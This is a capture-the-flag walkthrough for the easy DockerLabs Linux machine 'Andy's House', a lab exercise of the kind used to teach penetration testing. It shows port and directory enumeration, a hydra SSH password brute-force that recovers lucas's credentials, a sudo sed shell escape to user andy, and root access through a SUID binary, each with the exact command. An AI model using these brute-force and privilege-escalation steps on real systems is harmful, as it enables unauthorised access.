DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh
OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 a1:bc:79:1a:34:68:43:d5:f4:d8:65:76:4e:b4:6d:b1 (DSA)
| 2048 38:68:b6:3b:a3:b2:c9:39:a3:d5:f9:97:a9:5f:b3:ab (RSA)
| 256 d2:e2:87:58:d0:20:9b:d3:fe:f8:79:e3:23:4b:df:ee (ECDSA)
|_ 256 b7:38:8d:32:93:ec:4f:11:17:9d:86:3c:df:53:67:9a (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Andys's House
|_http-server-header: Apache/2.4.7 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: PARADISE)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: PARADISE)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: UBUNTU; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Findings
- OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
- Apache 2.4.7 with title Andys’s House
- Samba smbd 4.3.11-Ubuntu
SSH (22)
Passwordbased authentication
❯ ssh root@172.17.0.2
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@172.17.0.2's password:
HTTP (80)
Index

Links from source
...href='galery.html'">Go to the paradise</button>
...href='booking.html'">Book your accommodation!</button>
Dirsearch
[07:06:27] 301 - 305B - /img -> http://172.17.0.2/img/
[07:06:31] 200 - 635B - /login.php
/img
Directory listingenableimage6.jpg_originallooks different

/login.php
Login panel

- Random input redirects to http://172.17.0.2/verify_code.php
/verify_code.php
- Empty page if you visit it directly
- If you get there from login panel you send
emailandcodeas parameters - Invalid access code after random input in login panel

/galery.html
- Link found in the index code
- Only images, one after one
<img src="img/image2.jpg" alt="Image 2">
<img src="img/image3.jpg" alt="Image 3">
<img src="img/image4.jpg" alt="Image 4">
<img src="img/image5.jpg" alt="Image 5">
<img src="img/image6.jpg" alt="Image 6">
<img src="img/image7.jpg" alt="Image 6">
<img src="img/image8.jpg" alt="Image 6">
<img src="img/image9.jpg" alt="Image 6">
base64string as comment at the end of the code
<!-- ZXN0b2VzdW5zZWNyZXRvCg== -->
Base64string decoded
❯ echo 'ZXN0b2VzdW5zZWNyZXRvCg==' | base64 -d
estoesunsecreto
/estoesunsecreto
Directory listingenable

mensaje_para_lucas.txt
❯ curl http://172.17.0.2/estoesunsecreto/mensaje_para_lucas.txt
REMEMBER TO CHANGE YOUR PASSWORD ACCOUNT,
BECAUSE YOUR PASSWORD IS DEBIL AND THE HACKERS CAN FIND USING B.F.
- From txt file above:
/booking.html
- Link found in the index code
- Simple form

<form action="process_booking.php" method="post">
<input type="email" name="email" placeholder="Email" required>
<input type="submit" value="Get Access Code">
</form>
/process_booking.php
- Empty page when it’s visited directly
Failed to send access codemessage after using booking form with random input

Samba (139,445)
List shared folders (no user)
smbmap -H 172.17.0.2

- No access
Exploitation
SSH password attack for lucas
hydra -l lucas -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
[...]
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: lucas password: chocolate
Lucas SSH credentials
lucas:chocolate
SSH access as lucas
❯ ssh lucas@172.17.0.2
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
lucas@172.17.0.2's password:
Last login: Sun Jan 25 14:17:27 2026 from 172.17.0.1
$ id
uid=1001(lucas) gid=1001(lucas) groups=1001(lucas)
Post-Exploitation
Sudo permissions (lucas)
$ sudo -l
Matching Defaults entries for lucas on 9080d9772422:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lucas may run the following commands on 9080d9772422:
(andy) NOPASSWD: /bin/sed
Sed binary allows privesc
- Reference: https://gtfobins.org/gtfobins/sed/#shell

Privesc as Andy
$ id
uid=1001(lucas) gid=1001(lucas) groups=1001(lucas)
$ sudo -u andy sed -n '1e exec /bin/sh 1>&0' /etc/hosts
$ id
uid=1000(andy) gid=1000(andy) groups=1000(andy)
Andy’s home directory
andy@9080d9772422:/home/andy$ ls -laR
.:
total 20
drwxr-xr-x 1 andy andy 4096 Aug 30 2024 .
drwxr-xr-x 1 root root 4096 Aug 30 2024 ..
-rw-r--r-- 1 andy andy 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 andy andy 3687 Aug 30 2024 .bashrc
-rw-r--r-- 1 andy andy 675 Apr 9 2014 .profile
secret_bin alias (.bashrc)
andy@9080d9772422:/home/andy$ tail -5 .bashrc
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
alias secret_bin='/usr/local/bin/privileged_exec'
privileged_exec
- SUID enable
andy@9080d9772422:/home/andy$ ls -l /usr/local/bin/privileged_exec
-rwsr-xr-x 1 root root 8789 Aug 30 2024 /usr/local/bin/privileged_exec
- Executable file
andy@9080d9772422:/home/andy$ file /usr/local/bin/privileged_exec
/usr/local/bin/privileged_exec: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=78959bf3a5d55dad6daf8231c2aeb8fed485e09b, not stripped
- According to strings it potentially will allow us to privesc
andy@9080d9772422:/home/andy$ strings /usr/local/bin/privileged_exec
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
exit
execl
perror
printf
geteuid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-h
UH-h
[]A\A]A^A_
Running with effective UID: %d
setuid
bash
/bin/bash
[...]
Transfering binary to inspect

Main function (via ghidra)
- Inspecting the main function with ghidra
undefined8 main(void)
{
__uid_t _Var1;
int iVar2;
_Var1 = geteuid();
printf("Running with effective UID: %d\n",(ulong)_Var1);
iVar2 = setuid(0);
if (iVar2 == -1) {
perror("setuid");
/* WARNING: Subroutine does not return */
exit(1);
}
execl("/bin/bash","bash",0);
return 0;
}
Privesc to root
andy@9080d9772422:/home/andy$ /usr/local/bin/privileged_exec
Running with effective UID: 0
root@9080d9772422:/home/andy# id
uid=0(root) gid=1000(andy) groups=0(root),1000(andy)
setgid(0)
root@9080d9772422:/home/andy# python3 -c "import os;os.setgid(0);os.system('/bin/bash')"
root@9080d9772422:/home/andy# id
uid=0(root) gid=0(root) groups=0(root),1000(andy)